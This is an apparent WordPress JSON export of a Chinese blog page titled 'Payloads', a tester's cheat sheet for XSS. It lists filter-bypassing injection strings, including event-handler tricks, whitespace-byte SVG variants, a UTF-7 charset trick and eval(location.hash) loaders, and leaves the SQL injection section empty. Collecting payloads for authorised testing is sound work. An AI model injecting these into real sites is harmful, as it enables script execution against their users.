{"id":1322,"date":"2014-09-27T15:10:04","date_gmt":"2014-09-27T15:10:04","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?page_id=1322"},"modified":"2014-09-27T15:10:04","modified_gmt":"2014-09-27T15:10:04","slug":"payloads","status":"publish","type":"page","link":"https:\/\/ixyzero.com\/blog\/payloads","title":{"rendered":"Payloads"},"content":{"rendered":"

\u5728\u6d4b\u8bd5XSS\u7b49\u6f0f\u6d1e\u7684\u8fc7\u7a0b\u4e2d\u53ef\u80fd\u4f1a\u9700\u8981\u624b\u5de5\u8fdb\u884c\u4e00\u4e9b\u5c1d\u8bd5\uff0c\u4e86\u89e3\u5e76\u719f\u7ec3\u4f7f\u7528\u5e38\u89c1\/\u6709\u6548\u7684payload\u662f\u5f88\u6709\u5fc5\u8981\u7684\uff0c\u4e8e\u662f\u4ece\u5927\u725b\u4eec\u7684\u5206\u4eab\u4e2d\u63d0\u53d6\u51fa\u4e86\u4e00\u4e9b\u7b80\u77ed\u7684payload\u65b9\u4fbf\u8f93\u5165\/\u6d4b\u8bd5\uff1a<\/p>\n

1.XSS\uff08\u4eceMramydnei\u5927\u725b\u5206\u4eab\u51fa\u7684\u6587\u6863\u4e2d\u63d0\u53d6\uff09<\/h6>\n
<img src=1.png onload=alert(7)>\n<style onload=alert(8)>\n<input src=1.png type=\"image\" onload=alert(3)>\n<script src=0.js onerror=alert(1)><\/script>\n<script src=1.js onload=alert(5)><\/script>\n<listing>&ltimg src=x onerror=alert(32)&gt<\/listing>\n\n<img onerror=MsgBox+9 language=vbs src=a>\n<img onerror=MsgBox+8 language=vbscript src=a>\n\n====\n<svg[0X09]onload=alert()>\n<svg[0X0A]onload=alert()>\n<svg[0X0C]onload=alert()>\n<svg[0X0D]onload=alert()>\n<svg[0X020]onload=alert()>\n<svg[0X2F]onload=alert()>\n====\n\n<meta http-equiv=\"content-type\" content=\"text\/html;charset=utf-7\"> +ADw-script+AD4-alert(123); +ADw-\/script+AD4-\n\n<svg\/onload=eval(location.hash.slice(1))>\n<svg\/onload=eval(location.hash.substr(1))>\n<svg\/onload=eval(location.hash.split('#')[1])>\n<svg><g onload=alert(55)>\n<svg onload=alert(54)>\n\n<image src=1 onerror=alert(53)>\n<b\/ondrag=alert()>x\n<audio src=x onerror=alert(51)>\n\n<frameset onload=alert(40)>\n<select onfocus=alert(36) autofocus>\n<textarea onfocus=alert(37) autofocus>\n<keygen onfocus=alert(38) autofocus>\n<input onfocus=alert(33) autofocus>\n\n<iframe\/onload=alert(document.domain)><\/iframe>\n\n<body\/onload=alert(25)>\n<img src=x onerror=alert(24)>\n<a onclick=alert(18)>M\n<a onmouseover=alert(17)>M\n\n===DOM===\n<input onclick=\"document.write('&lt;img src=x onerror=alert(1)&gt;');\">\n<input onclick=\"document.write('&lt;img src=x onerror=alert(1)&gt;');\"><\/pre>\n
 <\/p>\n
2.SQL\u6ce8\u5165<\/h6>\n
\u2026\u2026\u5f85\u6dfb\u52a0\u2026\u2026<\/p>\n
3.\u5f85\u6dfb\u52a0\u2026\u2026<\/h6>\n
 <\/p>\n","protected":false},"excerpt":{"rendered":"
\u5728\u6d4b\u8bd5XSS\u7b49\u6f0f\u6d1e\u7684\u8fc7\u7a0b\u4e2d\u53ef\u80fd\u4f1a\u9700\u8981\u624b\u5de5\u8fdb\u884c\u4e00\u4e9b\u5c1d\u8bd5\uff0c\u4e86\u89e3\u5e76\u719f\u7ec3\u4f7f\u7528\u5e38\u89c1\/\u6709\u6548\u7684payload\u662f\u5f88\u6709\u5fc5\u8981\u7684\uff0c\u4e8e […]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"open","ping_status":"open","template":"","meta":{"footnotes":""},"class_list":["post-1322","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/pages\/1322","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/comments?post=1322"}],"version-history":[{"count":0,"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/pages\/1322\/revisions"}],"wp:attachment":[{"href":"https:\/\/ixyzero.com\/blog\/wp-json\/wp\/v2\/media?parent=1322"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}